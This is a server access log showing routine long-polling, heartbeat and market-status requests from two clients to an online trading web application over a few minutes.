[09/Jan/2026:09:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920943000 HTTP/1.1" -
[09/Jan/2026:09:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:04:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920944301 HTTP/1.1" -
[09/Jan/2026:09:04:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920948125 HTTP/1.1" -
[09/Jan/2026:09:04:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920950312 HTTP/1.1" -
[09/Jan/2026:09:04:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920953257 HTTP/1.1" -
[09/Jan/2026:09:04:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920958323 HTTP/1.1" -
[09/Jan/2026:09:04:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920956308 HTTP/1.1" -
[09/Jan/2026:09:04:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920963463 HTTP/1.1" -
[09/Jan/2026:09:04:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920962303 HTTP/1.1" -
[09/Jan/2026:09:04:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920968653 HTTP/1.1" -
[09/Jan/2026:09:04:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920968301 HTTP/1.1" -
[09/Jan/2026:09:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:05:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920973955 HTTP/1.1" -
[09/Jan/2026:09:05:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920974302 HTTP/1.1" -
[09/Jan/2026:09:05:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920979019 HTTP/1.1" -
[09/Jan/2026:09:05:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920980299 HTTP/1.1" -
[09/Jan/2026:09:05:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:05:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:05:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920984162 HTTP/1.1" -
[09/Jan/2026:09:05:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920986313 HTTP/1.1" -
[09/Jan/2026:09:05:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920989304 HTTP/1.1" -
[09/Jan/2026:09:05:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920994452 HTTP/1.1" -
[09/Jan/2026:09:05:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920992308 HTTP/1.1" -
[09/Jan/2026:09:05:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920999676 HTTP/1.1" -
[09/Jan/2026:09:05:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920998303 HTTP/1.1" -
[09/Jan/2026:09:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:05:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921004814 HTTP/1.1" -
[09/Jan/2026:09:05:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921004309 HTTP/1.1" -
[09/Jan/2026:09:05:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921009924 HTTP/1.1" -
[09/Jan/2026:09:05:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921010298 HTTP/1.1" -
[09/Jan/2026:09:05:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921015134 HTTP/1.1" -
[09/Jan/2026:09:05:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921016297 HTTP/1.1" -
[09/Jan/2026:09:05:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921020259 HTTP/1.1" -
[09/Jan/2026:09:05:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921022309 HTTP/1.1" -
[09/Jan/2026:09:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921025395 HTTP/1.1" -
[09/Jan/2026:09:05:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921030593 HTTP/1.1" -
[09/Jan/2026:09:05:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921028308 HTTP/1.1" -
[09/Jan/2026:09:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:06:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921035727 HTTP/1.1" -
[09/Jan/2026:09:06:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921034302 HTTP/1.1" -
[09/Jan/2026:09:06:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921040792 HTTP/1.1" -
[09/Jan/2026:09:06:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921040310 HTTP/1.1" -
[09/Jan/2026:09:06:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:06:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:06:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921045898 HTTP/1.1" -
[09/Jan/2026:09:06:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921046307 HTTP/1.1" -
[09/Jan/2026:09:06:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921051038 HTTP/1.1" -
[09/Jan/2026:09:06:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921052308 HTTP/1.1" -
[09/Jan/2026:09:06:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921056210 HTTP/1.1" -
[09/Jan/2026:09:06:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921058299 HTTP/1.1" -
[09/Jan/2026:09:06:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921061372 HTTP/1.1" -
[09/Jan/2026:09:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:06:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921066508 HTTP/1.1" -
[09/Jan/2026:09:06:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921064302 HTTP/1.1" -
[09/Jan/2026:09:06:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921071568 HTTP/1.1" -
[09/Jan/2026:09:06:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921070300 HTTP/1.1" -
[09/Jan/2026:09:06:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921076674 HTTP/1.1" -
[09/Jan/2026:09:06:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921076298 HTTP/1.1" -
[09/Jan/2026:09:06:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921081811 HTTP/1.1" -
[09/Jan/2026:09:06:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921082305 HTTP/1.1" -
[09/Jan/2026:09:06:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921086960 HTTP/1.1" -
[09/Jan/2026:09:06:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921088313 HTTP/1.1" -
[09/Jan/2026:09:07:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921092074 HTTP/1.1" -
[09/Jan/2026:09:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:07:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921094312 HTTP/1.1" -
[09/Jan/2026:09:07:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921097420 HTTP/1.1" -
[09/Jan/2026:09:07:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921102555 HTTP/1.1" -
[09/Jan/2026:09:07:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921100309 HTTP/1.1" -
[09/Jan/2026:09:07:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
